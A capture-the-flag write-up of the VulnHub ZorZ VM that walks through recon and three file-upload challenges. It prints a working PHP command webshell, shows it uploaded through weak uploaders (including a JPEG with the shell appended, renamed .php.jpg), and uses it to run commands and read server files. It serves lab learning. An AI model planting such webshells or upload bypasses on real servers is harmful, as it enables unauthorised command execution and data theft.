Hat tipping TopHatSec ZorZ style
Time for another VulnHub challenge, and this time I decided to take a look at @TopHatSec’s ZORZ challenge.
ZORZ is another VM that will challenge your webapp skills. There are 3 separate challenges (web pages) on this machine. It should be pretty straight forward. I have explained as much as I can in the readme file:
Welcome to the ZorZ VM Challenge
This machine will probably test your web app skills once again. There are 3 different pages that should be focused on (you will see!) If you solve one or all three pages, please send me an email and quick write up on how you solved each challenge. Your goal is to successfully upload a webshell or malicious file to the server. If you can execute system commands on this box, thats good enough!!! I hope you have fun!
Three web based challenges.. sounds good. Let’s get cracking! Like always, let’s find our host:
1 2 3 4 5 6 7 8 9 10 11 |
root@omerta-ctf:~# netdiscover -r 192.168.111.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor ----------------------------------------------------------------------------- 192.168.111.1 00:50:56:c0:00:01 01 060 VMWare, Inc. 192.168.111.130 00:0c:29:8c:2f:99 01 060 VMware, Inc. 192.168.111.254 00:50:56:e5:00:8d 01 060 VMWare, Inc. |
Whilst we know this a web based challenge, we still need to make sure we check what ports are available:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
root@omerta-ctf:~# nmap -sT -Pn -p- -T4 -A 192.168.111.130 Starting Nmap 6.47 ( http://nmap.org ) at 2015-05-01 18:30 AEST Nmap scan report for 192.168.111.130 Host is up (0.00029s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh (protocol 2.0) | ssh-hostkey: | 1024 48:bb:d8:38:b8:25:a6:6c:5e:7f:67:c9:ec:53:cc:ed (DSA) | 2048 ec:55:48:93:28:90:f6:bf:3c:cd:e3:90:42:26:3b:5d (RSA) |_ 256 3f:0a:11:c9:59:73:be:df:f7:77:59:65:07:91:d7:d6 (ECDSA) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi : SF-Port22-TCP:V=6.47%I=7%D=5/1%Time=554339CB%P=i686-pc-linux-gnu%r(NULL,29 SF:,"SSH-2\.0-OpenSSH_6\.6\.1p1\x20Ubuntu-2ubuntu2\r\n"); MAC Address: 00:0C:29:8C:2F:99 (VMware) Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.11 - 3.14 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.29 ms 192.168.111.130 OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 23.37 seconds |
Standard port 80. Let’s take a look:
Okay, this looks like challenge 1. The page source doesn’t show anything out of the ordinary, and it looks like we need to upload an image. I grab my avatar image and upload it to see what we are presented with:
The obvious next step is to try and upload a webshell and see if the app will strictly only allow images to be uploaded. My small webshell code of choice is as follows:
1 2 3 4 5 |
<?php # xerubus' simple cmd shell $cmd = $_GET["x"]; system($cmd); ?> |
I upload x.php and it looks like the uploader app doesn’t strictly check that an image file is uploaded:
Good. Next, we need to find where our webshell was uploaded to. We can see in the above output that a tmp file was created, however as there is no LFI vulnerability and we are not able to directly access this location. Time to use my favourite webfuzzer; wfuzz.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
root@omerta-ctf:~# wfuzz -c -z file,/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hc 404 http://192.168.111.130/FUZZ ******************************************************** * Wfuzz 2.0 - The Web Bruteforcer * ******************************************************** Target: http://192.168.111.130/FUZZ Payload type: file,/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt Total requests: 220546 ================================================================== ID Response Lines Word Chars Request ================================================================== 01059: C=301 9 L 28 W 322 Ch " - javascript" 10817: C=301 9 L 28 W 322 Ch " - phpmyadmin" 45220: C=200 15 L 31 W 367 Ch " - " 57140: C=301 9 L 28 W 320 Ch " - uploads2" 95508: C=403 10 L 30 W 295 Ch " - server-status" |
The javascript directory was no good for us and phpmyadmin would require us to bruteforce the username and password. uploads2 gives us a directory listing, however our x.php webshell doesn’t exist in this location. Is it possible that there is an uploads1 and uploads3 directory which lines up with our challenges?
Voila, our avatar and webshell uploads are present. Let’s try to interact with our shell:
1 2 |
root@omerta-ctf:~# lynx -dump http://192.168.111.130/uploads1/x.php?x=id uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Our shell works. Considering that this is a web challenge, let’s take a look at what files/directories are present:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
root@omerta-ctf:~# lynx -dump "http://192.168.111.130/uploads1/x.php?x=ls -al /var/www/" total 12 drwxr-xr-x 3 root root 4096 Feb 17 20:44 . drwxr-xr-x 12 root root 4096 Feb 17 20:44 .. drwxr-xr-x 7 root root 4096 Feb 18 22:40 html root@omerta-ctf:~# lynx -dump "http://192.168.111.130/uploads1/x.php?x=ls -al /var/www/html/" total 48 drwxr-xr-x 7 root root 4096 Feb 18 22:40 . drwxr-xr-x 3 root root 4096 Feb 17 20:44 .. -rwxr-xr-x 1 www-data www-data 367 Feb 18 20:54 index.html -rwxr-xr-x 1 root root 457 Feb 18 22:30 index2.html drwxr-xr-x 2 root root 4096 Feb 18 22:22 jQuery drwxr-xr-x 2 root root 4096 Feb 18 22:45 l337saucel337 -rw-r--r-- 1 root root 398 Feb 18 20:20 uploader.php -rw-r--r-- 1 root root 1410 Feb 18 20:50 uploader2.php -rwxr-xr-x 1 root root 1980 Feb 18 16:40 uploader3.php drwxr-xr-x 2 www-data www-data 4096 May 1 15:44 uploads1 drwxr-xr-x 2 www-data www-data 4096 Feb 18 22:39 uploads2 drwxr-xr-x 2 www-data root 4096 Feb 18 22:39 uploads3 |
The l337saucel337 directory stands out. Let’s take a look inside:
1 2 3 4 |
root@omerta-ctf:~# lynx -dump "http://192.168.111.130/uploads1/x.php?x=ls -al /var/www/html/l337saucel337/" total 12 drwxr-xr-x 2 root root 4096 Feb 18 22:45 . drwxr-xr-x 7 root root 4096 Feb 18 22:40 .. -rw-r--r-- 1 root root 400 Feb 18 22:45 SECRETFILE |
… and who could resist looking at a file called SECRETFILE.
1 2 3 4 5 6 7 |
root@omerta-ctf:~# lynx -dump "http://192.168.111.130/uploads1/x.php?x=cat /var/www/html/l337saucel337/SECRETFILE" Great job so far. This box has 3 uploaders. The first 2 are pure php, the last one is php w/jquery. To get credit for this challenge, please submit a write-up or instructions on how you compromised the uploader or uploaders. If you solve 1, 2, or all of the uploader challenges, feel free to shoot me an email and let me know! admin@top-hat-sec.com Thanks for playing! http://www.top-hat-sec.com |
Nice. I’ll call challenge 1 as completed at this stage. Let’s move onto challenge #2.
The obvious first step will be to try and upload our php shell again. Unfortunately for us, we’re presented with the following:
1 |
File is not an image.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry, your file was not uploaded. |
Let’s fire up burpsuite and take a closer look at our traffic just in case there are some simple parameters we can manipulate or any other clues. We’ll start by uploading our avatar image so that we can inspect the traffic:
We can see that our POST data is being sent in parts. What if we edit the jpg data and append our webshell script to the end?
1 |
Success! image/jpeg.The file xerubus.jpg has been uploaded. |
Surely it’s not that simple? I try executing the code and I’m presented with the jpg muck and the php script at the end.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
��:p @�^�Y���G&��9�)W�N�D��:|@1v�#0o��Ms����8�opop�J �5�J�,u��y�$�π*�p� �hqr���5�;�n.q��̝V�*��Spq&��|�ER���*kL� � �8��� [�,�� ���&��4X6wq���(��m3�t��#~�g����ú㔩�r��%���i�,D�sA3�^��d!V������3Ψ��c�K_���,�X#ȭ�Ts["\CD�L '`�keJ�F`� ��74���k�e�A �`�m�t(��[Jc�b�Cbk�fA���n�S.#��� �- �������6p��G`Xڔ�������T���64� �ƻCffUy��+2Pǹ��S�Ϟ�CO]��S��5H�9�������bI�b��&��������b��6�����D�'���0T���]���A�g�����V�������bw�v��������� #.����ߠJp����� ���_�N����>K ��X;E�3�V,RBL'���"�{�Ŋ�j�({ދ p��?�$�����j������O���b�� ��bĕ@�x#�,HG�,Y� <?php # xerubus' simple cmd shell $cmd = $_GET["x"]; system($cmd); ?> |
We can see the data is there, however the server is not interpreting the php shell. After quite a bit of time pondering on how to get the server to execute the code, I had a brain fart. What if we append the webshell code and change the filename to include the .php extension?
1 |
Success! image/jpeg.The file xerubus.php.jpg has been uploaded. |
The file still uploads successfully, so let’s try to interact with the webshell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
root@omerta-ctf:~# lynx -dump "http://192.168.111.130/uploads2/xerubus.php.jpg?x=id" ÿØÿàJFIFÿÛ ( %!1!%)+...383,7(-.+ -$ ..,,,,,,5,,,,,,,,,,,,,,,,,,,,,,,,,,,+,,,,,,,,,,,+,ÿÀáá"ÿÄÿÄ@!1AQa"q2¡±ð BÁÑ3Rrá#b4c²ñ¢ÂâÿÄÿÄ0!1AQ±2a¡#Ááð"34qÿÚ?¥~Ò¬ã{uMq¦ÆTP®":Hú(éS Á0>ÿtÙ3}@[¼üJ0h?²ß¿èòù)XÍ@Þ}ù5zG÷QàÝ26%D+üMâHáýÌ9ùýþL_büf#÷@½xOI.J !oMþ×^XãÍo@¶ú>üÜø)!NOõ±°¹%u t´SîFÿRv7 ÚÎ$ð6oêU90áM¨ï¿@¦b:Û2÷8ôÓì&ZÆ6þkZÕ[I q41ϵªÈ=ÓO^ª_âß÷+Zá'ÄÑ-¸GÕCTýÿr[ñî ....snip.... Îå·&©¼4X6wqûºó(«ãm3®tÇÄ#~ág¨ëè¶Ãºã©Ír¦à%7õ]ÕiÁ,DúsA3¼^¼Ëd!Vú¡ÀÆÅ3ΨµÍcà K_âí©½,X#ÈéTs["\CDL '`¡keJÚF`ðø74½ke¦A `mÔt(øü[JcbÁCbkfAán¸S.#ÇÀ Û- ©ê®á6pØóG`XÚÁæ«ùæ´ÏTë64¸ æÆ»CffUy +2Pǹ¶±SÑÏËCO]®S©ã§5HÜ9ÿüýßÙbI¥bËÜ&çÍÿßêÿÅbÄì6¡î»úÿDþ'úû0TÜù¯] ù½«A§g¿Ïë¥ÿV½¡ÿ¨«æ±bw³vùþè¦ÿ§¾ #.ÿ¥æß Jpþøþ¡õ ¿ñ_ýNúë·>K áX;Eî3úV,RBL'½éú"ë{ߢÅj¯({Þ pÿá?Ð$¸jìçðíO»ê±b´öÁÅbÄ@Ïx#Ö,HG,YÿÙ uid=33(www-data) gid=33(www-data) groups=33(www-data) |
BAM! We are presented with the jpg jibberish, but this time we are also given the output of our php web shell. Challenge 2 done.
Let’s move on to challenge 3.
As per our entry into challenge 2, let’s try uploading the last successful method. I edited the xerubus.jpg file with vi and appended the php webshell code.
Ummm… that was unexpected. Successful upload. I guess we should try executing it?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
root@omerta-ctf:~# lynx -dump "http://192.168.111.130/uploads2/xerubus.php.jpg?x=id" ÿØÿàJFIFÿÛ ( %!1!%)+...383,7(-.+ -$ ..,,,,,,5,,,,,,,,,,,,,,,,,,,,,,,,,,,+,,,,,,,,,,,+,ÿÀáá"ÿÄÿÄ@!1AQa"q2¡±ð BÁÑ3Rrá#b4c²ñ¢ÂâÿÄÿÄ0!1AQ±2a¡#Ááð"34qÿÚ?¥~Ò¬ã{uMq¦ÆTP®":Hú(éS Á0>ÿtÙ3}@[¼üJ0h?²ß¿èòù)XÍ@Þ}ù5zG÷QàÝ26%D+üMâHáýÌ9ùýþL_büf#÷@½xOI.J !oMþ×^XãÍo@¶ú>üÜø)!NOõ±°¹%u t´SîFÿRv7 ÚÎ$ð6oêU90áM¨ï¿@¦b:Û2÷8ôÓì&ZÆ6þkZÕ[I q41ϵªÈ=ÓO^ª_âß÷+Zá'ÄÑ-¸GÕCTýÿr[ñî ....snip.... Îå·&©¼4X6wqûºó(«ãm3®tÇÄ#~ág¨ëè¶Ãºã©Ír¦à%7õ]ÕiÁ,DúsA3¼^¼Ëd!Vú¡ÀÆÅ3ΨµÍcà K_âí©½,X#ÈéTs["\CDL '`¡keJÚF`ðø74½ke¦A `mÔt(øü[JcbÁCbkfAán¸S.#ÇÀ Û- ©ê®á6pØóG`XÚÁæ«ùæ´ÏTë64¸ æÆ»CffUy +2Pǹ¶±SÑÏËCO]®S©ã§5HÜ9ÿüýßÙbI¥bËÜ&çÍÿßêÿÅbÄì6¡î»úÿDþ'úû0TÜù¯] ù½«A§g¿Ïë¥ÿV½¡ÿ¨«æ±bw³vùþè¦ÿ§¾ #.ÿ¥æß Jpþøþ¡õ ¿ñ_ýNúë·>K áX;Eî3úV,RBL'½éú"ë{ߢÅj¯({Þ pÿá?Ð$¸jìçðíO»ê±b´öÁÅbÄ@Ïx#Ö,HG,YÿÙ uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Challenge 3 complete! Things aren’t supposed to work out that well, but take wins when you can :)
Thank you @TopHatSec for the challenge.
As always, thank you @vulnhub and @g0tmi1k for hosting these challenges.
Until next time, tight lines and happy hacking.